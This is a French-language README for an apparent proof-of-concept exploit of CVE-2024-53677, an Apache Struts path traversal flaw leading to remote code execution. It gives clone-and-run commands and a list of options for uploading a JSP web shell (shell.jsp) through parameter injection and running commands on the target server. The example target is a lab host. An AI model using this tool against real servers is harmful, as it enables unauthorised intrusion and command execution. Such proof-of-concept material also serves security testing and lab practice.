
une preuve de concept de CVE-2024-53677
Une vieille vulnérabilité affectant Apache Struts menant à LFI et à une exécution à distance.
Apache Struts path traversal → RCE (CVE-2024-53677)
J'ai passé beaucoup de temps à rendre celui-ci aussi personnalisable que possible, car lorsque j'ai rencontré pour la première fois cette CVE, je n'ai pas trouvé de bonne source qui l'implémente correctement. La plupart des options ont des valeurs par défaut, donc ne soyez pas découragé par tous ces paramètres.
git clone https://github.com/Cythonic1/CVE-2024-53677-POC
cd CVE-2024-53677-POC
go run . -h
-command string
commande à exécuter sur le serveur par défaut : whoami
-end-point string
point de terminaison POST par défaut : upload.action
-file-location string
où enregistrer le fichier dans le serveur par défaut : ce que retourne la fonction de test
-lfi-param string
Nom du paramètre pour le test LFI par défaut : top.UploadFileName
-payload-file string
Chemin vers le fichier payload par défaut : ./shell.jsp
-payload-file-name string
nom du payload lui-même par défaut : shell.jsp
-payload-param string
Nom du paramètre pour l'injection du payload par défaut : Upload
-test-file-name string
nom du fichier de test lui-même par défaut : testfile.txt
-testing-file string
Fichier utilisé pour le test par défaut : ./testfile.txt
-url string
URL de base de la cible (format http://strutted.htb/) n'oubliez pas le [/] à la fin
Toutes ces commandes ont des valeurs par défaut. J'ai également implémenté une fonction de test pour vérifier où le fichier doit être placé, et c'est également une option configurable par l'utilisateur.
go run . -url http://127.0.0.1:8080/ -end-point upload.action
Quelques points à noter.
N'hésitez pas à modifier ou à ajouter à l'exploit ♥️.